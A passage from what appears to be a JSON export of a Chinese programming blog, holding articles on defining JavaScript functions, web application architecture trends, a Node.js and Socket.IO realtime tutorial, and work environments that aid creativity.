scpFoo)\u0026#39;), glob=Function(\u0026#39;console.log(typeof glbFoo)\u0026#39;); scop(); glob(); } scope(); // 輸出 undefined // 輸出 string 另外使用這樣的方式所建立的函數，在每一次執行時都會進行 parse 的動作，所以效率會比較差。\n函數運算式與函數宣告的差異 如果以函數宣告的方式來建立函數，則這個函數會被提升（hoisted）到該 scope 的最頂端，所以可以讓整個 scope 都直接呼叫它，但如果是函數運算式就必須在函數定義之後，才可以使用：\ndeclared(); // 輸出 declared function declared () { console.log(\u0026#39;declared\u0026#39;); } expressed(); // TypeError: undefined is not a function var expressed = function () { console.log(\u0026#39;expressed \u0026#39;); } expressed(); // 輸出 expressed 區分函數運算式與函數宣告 函數運算式與函數宣告在語法上很相似，很容易讓人混淆，在辨別它們時需要注意一下。根據 ECMAscript 得標準，函數宣告必須有一個識別名稱（identifier），所以說只要函數沒有識別名稱，那麼它就是一個函數運算式，這個很容易分辨，而接來的問題就是如何分辨具名的函數運算式與函數宣告。\n由於函數宣告只容許作為指令稿或是函數的 sourceElements，它不能出現在巢狀的 blocks 中，因為 blocks 中只容許放置 statements，不能放置 sourceElements。\nvar a = 0; function b () {}; if (false) { // 巢狀結構，不是 source element var c = 0; function d () {}; } // 函數宣告 function foo() { // 另一個函數宣告 function bar() {}; if(true) { // 不是 source element，所以是函數運算式 function baz() {}; } // 因為放在一元運算子之後，會被視為運算式 // 所以這個是函數運算式 !function bng () {}; }; 參考資料 CODEKRAFT ","permalink":"https://blog.gtwang.org/programming/defining-javascript-functions/","summary":"\u003cp\u003e這裡介紹各種 JavaScript 函數的定義方式，有些方式很常見，但是有一些你可能沒看過。\u003c/p\u003e\n\u003cp\u003e以下是在 JavaScript 中四種建立函數的方式：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 四種建立函數的方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003edeclaration\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003efuncExpression\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003enamedFuncExpression\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003enamed\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003efnConstructor\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eFunction\u003c/span\u003e \u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e這些都是可以用來建立函數（Function）物件的方法，但是其中有些差異，以下我們將討論這些作法之間有什麼差別。\u003c/p\u003e","title":"定義 JavaScript 函數（Functions）的各種方式"},{"content":"這裡簡單介紹過去網頁應用程式所使用的技術與架構，以及未來發展的趨勢。\n網頁技術一直以來都不斷地在演進，從一開始的靜態 HTML 演變為動態的各種技術（如 PHP、ASP、Java 與 Ruby on Rails 等），不管是在網頁本身或是開發工具上都有很多革命性的突破與進步，而在最近一兩年中，在網頁技術上又出現了新的一波新的風潮，改變了整個網頁應用程式的設計型態。\n這一項新的技術主流不像以前的 RIA 或 AJAX 有特定明確的名稱，目前只能稱作為 MV* client-side 架構，這樣的架構主要的特色在於伺服器不再像以往那樣在伺服器端產生完整的 HTML 網頁，而是將原始的資料直接傳送至 client 端，由瀏覽器負責處理所有網頁的產生、使用者的互動等各項工作。\n以下我們將介紹各種架構的差異，並解釋新架構會崛起的原因所在。\n下面這張圖是網頁應用程式架構的演進過程。\nModel 1： Classic Web Application 這是最早期的網頁架構，整個網頁應用程式主要運行於伺服器中，由伺服器產生所有的 HTML、CSS 程式碼，而此時的 JavaScript 大都是用來實作一些輔助性的功能，在這樣的架構下，每當使用者需要新的資料時，伺服器就要根據新的資料重新產生一次完整的 HTML 網頁。\nModel 2: AJAX Web Application 到了 2005 年左右，出現了 AJAX（Asynchronous JavaScript And XML）技術，在這樣的架構下當使用者要求新的資料時，伺服器只需要將新的資料傳送給瀏覽器，透過 JavaScript 更新網頁中部份需要更新的內容，這樣可以有效降低伺服器與瀏覽器之間的資料傳輸量，提昇網頁應用程式的反應速度。\n這個架構的實作方式有很多，最常見的就是直接利用標準的 XMLHttpRequest 從伺服器取得資料，或是使用 jQuery 函式庫的 $.Ajax() 函數，另外也有一些整合性的平台架構（如 Google Web Toolkit 與 Java Server Faces 等）將瀏覽器與伺服器之間的 AJAX 資料傳遞都包裝好，以利於大型程式的開發。\n這個架構讓整體的網頁反應速度更快，但是相對之下架構變得更複雜，產生了一些缺點：\n再沒有特別設計架構的情況下，大量的使用 jQuery 這類的函式庫會造成整個網頁應用程式變得難以維護。 雖然整合性的平台架構有利於大型網頁應用程式的開發，但是這也會讓伺服器端的日益龐大且複雜，容易產生 bug 與效能問題。 Model 3: Client-Side MV* Web Application 這是最新的一種網頁應用程式架構，伺服器只單純將原始未經處理的資料傳送至瀏覽器中，所有實際要顯示的網頁內容與相關的排版工作都是由瀏覽器負責。\n這裡的 MV* 代表 MVC 設計模式，而使用 MV* 這個名稱是因為現在許多的這類型的架構除了傳統的 MVC 之外，還加上了一些其他的內容，所以就用這樣的名稱來作為區分。\nMV* 這個新架構的重點在於將傳統伺服器端的 UI 產生工作全部轉交給瀏覽器負責，而這樣的概念其實並不是現在才有，像手機上的原生 App 其實也都是這樣實作的，這個新架構只是將這個概念引入一般的網頁應用程式中而已。\n為什麼 MV* 現在才出現？ MV* 架構的作法其實跟最傳統的網頁架構很類似，但是直到現在才被大量應用於網頁應用程式上，原因主要有兩個：\n過去的瀏覽器功能與效能不足，無法處理太複雜的工作。 缺乏專業化的 JavaScript 開發工具。 瀏覽器 JavaScript 的效能演進 瀏覽器的 JavaScript 執行效能在微軟的 Internet Explorer 9 與 10 之後，才有明顯的改進，在之前的版本中由於效能低落加上各種 bug 問題，導致網頁應用程式開發者根本無法在這樣的環境下開發大型的程式。（當然這也有例外，像 Google 這樣有強大研發能力的公司還是有辦法把 Gmail 放進 IE6 中運行）\n可能也是受到 Firefox 與 Chrome 瀏覽器的壓力，微軟 IE 瀏覽器的 JavaScript 執行效率在最近幾年中改進很多，所以在各家瀏覽器的良性競爭下，大幅提昇了客戶端（client）的 JavaScript 執行環境，現在不管使用者所使用的瀏覽器是哪一種，基本上都已經具備不錯的 JavaScript 執行效能。\n除了效能提昇之外，還有一些最新的網頁標準功能（如 WebGL、HTML5 等），讓開發者可以更有彈性的在瀏覽器上開發各種應用程式。\nJavaScript 開發工具 雖然瀏覽器提供了一個很好的執行環境，但是如果沒有相對專業的開發工具，開發者也是很難在這樣的環境中發展出具規模的應用程式。\n第二個讓 MV* 架構崛起的關鍵就是各種 JavaScript 開發工具，現在網路上也非常多以 JavaScript 為基礎的開發工具（如 Grunt 與 AngularJS 等），這類的工具大致上可以區分為兩類：\n設計架構：這類的函式庫可以幫助開發者建立網頁應用程式的大架構，讓開發的過程更井然有序，也可以讓整個程式碼更容易維護，像 AngularJS、Backbone.js 與 Ember.js 都是常見的函式庫。 開發工具：這類的工具可以讓整個開發流程自動化（類似 Java 的 Maven），像 Grunt 就是現在一個很熱門的工具。 而會有那麼多的 JavaScript 開發工具出現，也跟 Node.js 的出現有關，因為 Node.js 架構以非常快的速度發展起來，所以連帶著相關 JavaScript 工具也跟著的產生。\n總而言之，發展大型網頁應用程式的條件現在都已經具備了，所以如果你也正在開發這類型的網頁，就可以考慮以 MV* 的架構來實作，而這類的架構有很多，可以參考 TodoMVC 來選擇一個適合自己的來使用。\n參考資料 Octo talks Learning JavaScript Design Patterns Smashing Magazine ","permalink":"https://blog.gtwang.org/programming/web-application-architectures/","summary":"\u003cp\u003e這裡簡單介紹過去網頁應用程式所使用的技術與架構，以及未來發展的趨勢。\u003c/p\u003e\n\u003cp\u003e網頁技術一直以來都不斷地在演進，從一開始的靜態 HTML 演變為動態的各種技術（如 PHP、ASP、Java 與 Ruby on Rails 等），不管是在網頁本身或是開發工具上都有很多革命性的突破與進步，而在最近一兩年中，在網頁技術上又出現了新的一波新的風潮，改變了整個網頁應用程式的設計型態。\u003c/p\u003e","title":"網頁應用程式架構（Web Application Architectures）的發展趨勢"},{"content":"這裡介紹如何使用 Node.js 與 Socket.IO 建立一個即時性（realtime）的網頁應用程式 App，讓瀏覽器與伺服器之間具備雙向溝通的能力。\nSocket.IO 是一個用於建立即時性通訊網頁應用程式（realtime web applications）的跨平台 JavaScript 函式庫，可以消除不同平台上傳輸方式的差異性，讓開發者更容易發展即時性的網頁應用程式。\nSocket.IO 包含瀏覽器端函式庫（client-side library，運行於瀏覽器中）與伺服器端函式庫（server-side library，運行於 Node.js 環境），而兩者所提供的 API 幾乎相同。\n在傳輸的方式上，Socket.IO 使用 WebSocket 作為主要的傳輸協定，而在某些瀏覽器不支援 WebSocket 的狀況下，則會自動改用其他的方式來傳輸（如 Adobe Flash sockets、JSONP polling 與 AJAX long polling 等），至於 API 的使用方式則維持不變，也就是說開發者可以不必考慮該使用哪一種傳輸方式，Socket.IO 會自動選擇一個最適合的來使用。\n在大部分新的瀏覽器中，Socket.IO 其實都是使用 WebSocket 來傳輸，所以 Socket.IO 也可以視為一個 WebSocket 的包裝工具，但是他所提供的功能比 WebSocket 還要豐富，例如 Socket.IO 的 heartbeats、timeouts 與 disconnection 等功能對於即時性的應用程式而言都是很重要的，但是原生的 WebSocket API 卻沒有這些功能。\n安裝 Node.js 與 Socket.IO 由於 Socket.IO 是建立在 Node.js 架構之上的工具，所以要先把 Node.js 先安裝好。\n接著使用 npm 安裝 Socket.IO：\nnpm install socket.io 基本 Server 在 Node.js 中，有許多方式可以建立網頁伺服器，不過都大同小異，這裡我們使用 http 函式庫：\nvar http = require(\u0026#39;http\u0026#39;); var server = http.createServer(); server.listen(8001); 這樣就是一個最基本的網頁伺服器了，你可以將這段程式碼儲存成 server.js，然後執行\nnode server.js 但是這樣的伺服器完全任何的功能，還無法運作，接下來我們讓伺服器自動送出一個 Hello, World. 字串：\nvar http = require(\u0026#39;http\u0026#39;); var server = http.createServer(function(request, response){ console.log(\u0026#39;Connection\u0026#39;); response.writeHead(200, {\u0026#39;Content-Type\u0026#39;: \u0026#39;text/html\u0026#39;}); response.write(\u0026#39;Hello, World.\u0026#39;); response.end(); }); server.listen(8001); 修改成這樣之後，再重新執行 node server.js，然後用瀏覽器打開 https://localhost:8001/ 這個網址，就可以看到 Hello, World. 字串顯示在瀏覽器上了。（如果你是在遠端的伺服器上測試，就把 localhost 改成對應的 IP 位址即可）\n而當瀏覽器連線至伺服器時，在終端機中也會顯示 Connection 這個連線的訊息，這樣就完成了一個陽春版的網頁伺服器了。\n接下來我們詳細說明一下上面這段程式碼的細節，首先是使用 http.createServer 建立伺服器的部份：\nvar server = http.createServer(function(request, response){}); server.listen(8001); 這裡放的匿名函數（anonymous function）是用來定義當伺服器接收到請求時，該做什麼事情，以及該如何回應。\n在這個子中，我們讓伺服器一接到請求時，就在終端機中輸出一行 Connection 的訊息：\nconsole.log(\u0026#39;Connection\u0026#39;); 接著使用 response.writeHead() 設定 HTTP 回應的標頭資訊：\nresponse.writeHead(200, {\u0026#39;Content-Type\u0026#39;: \u0026#39;text/html\u0026#39;}); 第一個參數是 HTTP 協定中三位數的 status code（例如找不到網頁就是 404），第二個參數則是指定標頭資訊中的各個欄位屬性，這裡指定 content type 為一般的文字或 html。\n接著設定最主要的網頁內容：\nresponse.write(\u0026#39;Hello, World.\u0026#39;); 最後結束整個定義過程：\nresponse.end(); 執行完這行，伺服器就會送出回應的訊息給瀏覽器。\n建立 Router 上面我們所建立的是一個最基本的伺服器，不管使用者輸入的網頁是什麼，都只會送出一個 Hello, World. 字串，現在我們要改善這個問題，加入其他的網頁內容，將原本的 server.js 改為這樣：\nvar http = require(\u0026#34;http\u0026#34;); var url = require(\u0026#39;url\u0026#39;); var fs = require(\u0026#39;fs\u0026#39;); var server = http.createServer(function(request, response) { console.log(\u0026#39;Connection\u0026#39;); var path = url.parse(request.url).pathname; switch (path) { case \u0026#39;/\u0026#39;: response.writeHead(200, {\u0026#39;Content-Type\u0026#39;: \u0026#39;text/html\u0026#39;}); response.write(\u0026#39;Hello, World.\u0026#39;); response.end(); break; case \u0026#39;/socket.html\u0026#39;: fs.readFile(__dirname + path, function(error, data) { if (error){ response.writeHead(404); response.write(\u0026#34;opps this doesn\u0026#39;t exist - 404\u0026#34;); } else { response.writeHead(200, {\u0026#34;Content-Type\u0026#34;: \u0026#34;text/html\u0026#34;}); response.write(data, \u0026#34;utf8\u0026#34;); } response.end(); }); break; default: response.writeHead(404); response.write(\u0026#34;opps this doesn\u0026#39;t exist - 404\u0026#34;); response.end(); break; } }); server.listen(8001); 修改好之後，重新執行 node server.js 並打開 https://localhost:8001/ 這個網址，可會發現沒有什麼改變，但是當你輸入 https://localhost:8001/socket.html 這個網址時，則會出現 404 的錯誤訊息，告訴你 socket.html 這張網頁不存在。\n以下我們說明段程式碼的細節，首先是引入模組的部分：\nvar url = require(\u0026#39;url\u0026#39;); var fs = require(\u0026#39;fs\u0026#39;); 這裡加入了 url 與 fs 兩個模組，其中 url 是用來解析 URL 網址用的，而 fs 則是用處理檔案的模組。\n當伺服器接收到請求時，使用 url.parse() 函數解析出網址中所指定的路徑：\nvar path = url.parse(request.url).pathname; 假設瀏覽器所輸入的網址為 localhost:8001，則解析出來的路徑就會是 /，而如果網址是 localhost:8001/socket.html，則解析出來的路徑就會變成 /socket.html，如果你想要實際測試看看解析的狀況，可以在這行後面加上 console.log(path) 將解析的結果顯示在終端機中。\n在解析出路徑之後，我們使用一個 switch 判斷式，依照不同的路徑來進行不同的處理方式，如果路徑是根目錄 /，則輸出原來的 Hello, World. 字串，而如果路徑是 /socket.html 的話，就使用 fs 模組來讀取 socket.html 這個檔案的內容：\nfs.readFile(__dirname + path, function(error, data){...}); readFile() 跟許多的 Node.js 函數一樣，需要指定一個回呼函數（callback function），定義檔案在讀取之後要進行什麼動作，這個回呼函數的第一個參數代表錯誤代碼，如果在讀取檔案出問題時（例如檔案不存在），這個錯誤代碼就會被設定，而第二個參數則是檔案的內容。\n這裡我們先檢查讀取的過程是否有發生錯誤：\nif (error){ response.writeHead(404); response.write(\u0026#34;opps this doesn\u0026#39;t exist - 404\u0026#34;); } 如果有發生讀取錯誤，就回應 404 的錯誤訊息，告知使用者檔案不存在。而如果檔案讀取成功的話，就輸出檔案的內容：\nelse { response.writeHead(200, {\u0026#34;Content-Type\u0026#34;: \u0026#34;text/html\u0026#34;}); response.write(data, \u0026#34;utf8\u0026#34;); } 這裡輸出的做法跟之前輸出 Hello, World. 類似，但另外指定輸出的編碼為 utf8。\n最後一樣要記得加上 response.end() 結束整個處理流程的定義，讓它開始執行。\n由於到目前為止我們還沒有建立 socket.html 這個檔案，所以如果輸入 https://localhost:8001/socket.html 這個網址才會看到 404 的錯誤訊息。\n加入 Socket.IO 接著我們建立一個 socket.html 檔案，內容如下：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt;This is our socket.html file\u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 在 socket.html 建立好之後，當你在瀏覽器中輸入 https://localhost:8001/socket.html 這個網址時，就會顯示這個網頁的內容了，不過這個並不是這裡的重點，接下來就要開始加入 Socket.IO 的部份了。\n首先在伺服器端的 server.js 中加入 Socket.IO 模組：\nvar http = require(\u0026#34;http\u0026#34;); var url = require(\u0026#39;url\u0026#39;); var fs = require(\u0026#39;fs\u0026#39;); var io = require(\u0026#39;socket.io\u0026#39;); // 加入 Socket.IO var server = http.createServer(function(request, response) { console.log(\u0026#39;Connection\u0026#39;); var path = url.parse(request.url).pathname; switch (path) { case \u0026#39;/\u0026#39;: response.writeHead(200, {\u0026#39;Content-Type\u0026#39;: \u0026#39;text/html\u0026#39;}); response.write(\u0026#39;Hello, World.\u0026#39;); response.end(); break; case \u0026#39;/socket.html\u0026#39;: fs.readFile(__dirname + path, function(error, data) { if (error){ response.writeHead(404); response.write(\u0026#34;opps this doesn\u0026#39;t exist - 404\u0026#34;); } else { response.writeHead(200, {\u0026#34;Content-Type\u0026#34;: \u0026#34;text/html\u0026#34;}); response.write(data, \u0026#34;utf8\u0026#34;); } response.end(); }); break; default: response.writeHead(404); response.write(\u0026#34;opps this doesn\u0026#39;t exist - 404\u0026#34;); response.end(); break; } }); server.listen(8001); io.listen(server); // 開啟 Socket.IO 的 listener 這裡只有更動兩個小地方而已，一個是在上方引入 socket.io 模組，例外在最後一行開啟一個 Socket.IO 的 listener，讓伺服器啟動時就可以準備接收來自於瀏覽器的 WebSocket 連線。\n現在當我們重新執行 node server.js 之後，瀏覽 https://localhost:8001/socket.html 這個網址時，在瀏覽器端沒有什麼變化，但是在伺服器的終端機中則會出現\ninfo -- socket.io started 這樣的訊息，這就表示我們的伺服器現在已經可以接收來自於任何地方的 WebSocket 連線了。\n接著我們要修改 socket.html 的內容，加入 Socket.IO 的連線功能，讓瀏覽器可以透過 WebSocket 連線到我們剛剛寫好的伺服器上。以下是 socket.html 的內容：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script src=\u0026#34;/socket.io/socket.io.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; var socket = io.connect(); \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;This is our socket.html file\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 這裡我們在網頁中引入了 Socket.IO 的 JavaScript 檔，並且呼叫 io.connect() 連線至伺服器，這時候如果重新載入這個網頁，你就可以在伺服器的終端機中看到類似下面這幾行資訊：\ninfo -- socket.io started debug -- served static content /socket.io.js debug -- client authorized info -- handshake authorized 1agc6iSouA2QymxUaZ0D debug -- setting request GET /socket.io/1/websocket/1agc6iSouA2QymxUaZ0D debug -- set heartbeat interval for client 1agc6iSouA2QymxUaZ0D debug -- client authorized for debug -- websocket writing 1:: 現在我們已經成功建立了一個伺服器與瀏覽器之間的 WebSocket 連線了，下面我們繼續示範如何讓伺服器透過這個連線傳送資料給瀏覽器。\n傳送資料至瀏覽器 Socket.IO 傳送資料的方式跟一般 Node.js 程式所使用的方式差不多，都是以回呼函數的方式來處理，這裡我們使用 on() 函數將特定的事件連接到指定的匿名函數，藉此定義整個資料傳輸過程要如何運作。\n現在我們在 server.js 的最後，將 io.listen() 的傳回值儲存起來，並加入一小段程式碼：\nvar serv_io = io.listen(server); serv_io.sockets.on(\u0026#39;connection\u0026#39;, function(socket) { socket.emit(\u0026#39;message\u0026#39;, {\u0026#39;message\u0026#39;: \u0026#39;hello world\u0026#39;}); }); 這裡我們使用 on() 函數將 connection 事件與一個匿名函數連接起來，這樣只要 WebSocket 連線一建立，這個匿名函數就會被呼叫。\n這裡的 connection 是一個由 Socket.IO 內建的事件，當瀏覽器端呼叫 io.connection() 之後，就會自動產生這個事件，進而呼叫上面這個匿名函數，而我們也可以自行定義事件，這裡馬上就有一個例子。\n在這個匿名函數中，當連線建立之後，我們使用 emit() 函數來傳送資料，這個函數在伺服器與瀏覽器端的用法是一樣的，作用就是將資料傳給對方。\nemit() 會產生一個事件，而其事件的名稱是透過第一個參數來定義的（以這個例子來說就是 message，當然你也可以使用其他的名稱），而第二個參數則是指定這個事件所伴隨的資料，而這個資料的格式則是一個 JSON 的物件。\n到這裡我們已經設定好在連線建立之後，讓伺服器送出一個訊息，接下來我們還要讓瀏覽器接收這段訊息才行，我們將 socket.html 修改一下：\nvar socket = io.connect(); socket.on(\u0026#39;message\u0026#39;, function(data){ console.log(data.message); }); 我們在這裡也同樣使用 on() 函數連接一個匿名函數，讓臉器可以接收來自於伺服器的訊息（也就是接收由伺服器所產生的 message 事件），然後呼叫 console.log() 函數將訊息輸出在瀏覽器的 console 中。\n現在重新啟動 server.js 與重新整理瀏覽器之後，開啓瀏覽器的 JavaScript 除錯視窗，應該就會發現 hello world 出現在瀏覽器的 console 中了。\n然而如果僅僅只是像這樣傳送一個訊息，一般的網頁技術或是 Ajax 也可以輕易做到，而 Socket.IO 所擅長的其實是持續性的資料傳遞，接下來我們將實作一個網頁時鐘，讓伺服器每秒鐘傳遞一個時間的資訊給瀏覽器。\n在 JavaScript 中，有一個 setInterval() 函數，它可以讓指定的函數在指定的間隔時間下重複執行，例如若要每秒鐘輸出一行 hello world 字串，則可以這樣寫：\nsetInterval(function() { console.log(\u0026#39;hello world\u0026#39;); }, 1000); 而在我們的例子中，我們希望伺服器每秒傳送一個時間的訊息給瀏覽器，所以將 connection 事件所連接的匿名函數修改成這樣：\nserv_io.sockets.on(\u0026#39;connection\u0026#39;, function(socket) { // 傳送時間訊息給瀏覽器 setInterval(function() { socket.emit(\u0026#39;date\u0026#39;, {\u0026#39;date\u0026#39;: new Date()}); }, 1000); }); 這裡我們每秒使用 JavaScript 的 Date() 函數產生一個 JSON 物件，傳送給瀏覽器。\n接著我們要讓瀏覽器可以接收這個 JSON 物件，並且顯示在網頁上，所以將 socket.html 修改成這樣：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script src=\u0026#34;/socket.io/socket.io.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; var socket = io.connect(); socket.on(\u0026#39;date\u0026#39;, function(data) { $(\u0026#39;#date\u0026#39;).text(data.date); }); \u0026lt;/script\u0026gt; \u0026lt;div id=\u0026#34;date\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 這裡我們將接收到的時間資料透過 jQuery 即時放進網頁中，現在將伺服器重新啟動，載入新的網頁之後，你會發現網頁上的時間會每秒更新一次。\n接下來就是比較有趣的地方了，原本在 setInterval() 中我們設定每 1000 milisecond（一秒）送出一次時間訊息，你可以把它改成比較小的數字，看看傳送的過程是否正常，你應該會發現即使把它設為每千分之一秒傳送一次，它還是可以很正常的運作，這就是 WebSocket 的優勢所在。\n傳送資料至伺服器 WebSocket 是一個允許雙向傳輸的協定，所以除了讓伺服器傳送資料至瀏覽器端之外，我們也可以讓瀏覽器上的資料即時傳回伺服器中，而且由於這裡我們是使用 Socket.IO，所以不管是從伺服器傳送至瀏覽器，或是從瀏覽器傳送至伺服器，程式的語法都相同（看到這裡我想你應該會很高興），這也是 Socket.IO 的優點之一。\n這裡我們在網頁中加入一個 textarea，並將使用者輸入的文字配合 jQuery 即時傳回伺服器端：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script src=\u0026#34;/socket.io/socket.io.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; var socket = io.connect(); socket.on(\u0026#39;date\u0026#39;, function(data) { $(\u0026#39;#date\u0026#39;).text(data.date); }); $(document).ready(function(){ $(\u0026#39;#text\u0026#39;).keypress(function(e){ socket.emit(\u0026#39;client_data\u0026#39;, { \u0026#39;letter\u0026#39;: String.fromCharCode(e.charCode) }); }); }); \u0026lt;/script\u0026gt; \u0026lt;div id=\u0026#34;date\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;textarea id=\u0026#34;text\u0026#34;\u0026gt;\u0026lt;/textarea\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 這裡我們使用 jQuery 的 keypress 事件，這樣的話每當使用者按下一個鍵，他就會即時以 socket.emit() 送出。而 String.fromCharCode(e.charCode) 則是將按下按鍵的 character code 轉為一般的字串，也就是說如果按下 a 按鍵，整個 JSON 物件就會是 {'letter': 'a'}。\n接著還要再修改一下 server.js，讓伺服器可以接收來自於瀏覽器的資料：\nvar serv_io = io.listen(server); serv_io.set(\u0026#39;log level\u0026#39;, 1); // 關閉 debug 訊息 serv_io.sockets.on(\u0026#39;connection\u0026#39;, function(socket) { setInterval(function() { socket.emit(\u0026#39;date\u0026#39;, {\u0026#39;date\u0026#39;: new Date()}); }, 1000); // 接收來自於瀏覽器的資料 socket.on(\u0026#39;client_data\u0026#39;, function(data) { process.stdout.write(data.letter); }); }); 這裡我們加入一行 io.set('log level', 1);，這樣可以關閉那些 Socket.IO 輸出的除錯（debug）訊息，這樣我們才能看清楚來自於瀏覽器的資料。\n由於 console.log() 在輸出訊息時會自動加上換行字元，但是在這裡我們不希望他這麼做，所以改用 process.stdout.write() 來輸出資料。\n最後重新啟動伺服器並載入網頁，然後在網頁的 textarea 輸入一些文字。\n記得同時將伺服器的終端機與網頁都顯示在螢幕上，你會發現當你在網頁上輸入文字時，伺服器的終端機會即時同步地顯示每一個輸入的字母。\n","permalink":"https://blog.gtwang.org/programming/socket-io-node-js-realtime-app/","summary":"\u003cp\u003e這裡介紹如何使用 Node.js 與 Socket.IO 建立一個即時性（realtime）的網頁應用程式 App，讓瀏覽器與伺服器之間具備雙向溝通的能力。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://socket.io/\"\u003eSocket.IO\u003c/a\u003e 是一個用於建立即時性通訊網頁應用程式（realtime web applications）的跨平台 JavaScript 函式庫，可以消除不同平台上傳輸方式的差異性，讓開發者更容易發展即時性的網頁應用程式。\u003c/p\u003e","title":"使用 Node.js 與 Socket.IO 建立即時性（Realtime）網頁應用程式 App"},{"content":"這裡告訴你什麼樣的環境可以讓自己的大腦發揮最高的創造力，增加工作效率。\n現今有許多的研究者都在研究大腦的運作與環境之間的關係，也有很多的學術論文被發表出來，根據這些研究結果，我們發現環境中的一些因子例如雜音、氣溫、光線等，都會對於人腦有影響，在好環境的條件之下還可以讓大腦的創造力提升。\n以下我們介紹如何打造一個最佳的環境，讓大腦創造力與工作效率可以提升。\n聲音 在過去的研究報告中顯示，音量太大的音樂並不見得有利於大腦的創造力，反而是適當的環境噪音會讓大腦的創造力提升。\n另外如果在一個開放性的辦公空間，其他人在講電話的聲音很容易讓自己分心，當然也會大幅降低工作效率。\n如果是在一個獨立的辦公空間，沒有一些環境噪音，可以試試看下面這些工具：\nCoffitivity Soundrown Focus@Will 如果喜愛大自然的聲音，可以試試看這些：\nRainy Mood Thunderspace 氣溫 康乃爾大學（Cornell University）有一項研究，在佛羅里達州的一家大型保險公司，測試了不同溫度的辦公室對於員工的影響，發現在辦公室溫度過低（攝氏 20 度）的的環境中，員工犯錯的的比例會比正常溫度（攝氏 25 度）的辦公室員工多出 44%。\n這個問題不是出在溫度太冷而不舒服，而是因為這樣的溫度會分散注意力，因為在較冷的環境中，人體會需要較多的能量維持體溫，也就造成注意力容易分散的問題。\n所以如果在冬天時，多穿點衣服或是使用電暖器，對於工作效率與創造力會有些幫助，當然也不能穿太多，這樣反而會太熱。\n光線 過於充足的光線對於大腦的創造力是有影響的，如果需要腦力激盪的時候，可以把燈關掉，研究顯示比較暗的環境可以讓人放鬆，更容易有一些創新的想法。\n在這裡你必須先注意你的工作性質，如果你正在進行的工作根本不需要什麼創造力（例如整理文件），那就不用關燈了。\n空間 如果在緊張、忙碌或是吵鬧的環境中，人的創造力是很難顯現出來的，一個簡單的做法是設置一個額外的空間，跟原本制式化的辦公空間分開，讓自己感覺離開原本緊張或忙碌的環境，這樣對於激發新的想法會有幫助。\n另外也有研究顯示，亂七八糟的環境也有助於創造力的提升，也就是說除了一般乾淨整齊的辦公桌之外，你可以在另外一個空間擺放一個不用整理的工作桌，激發自己的創意。\n這裡我只有簡略地將各種研究的結論歸納出來，如果想查詢更詳細的資料，可以參考 TNW 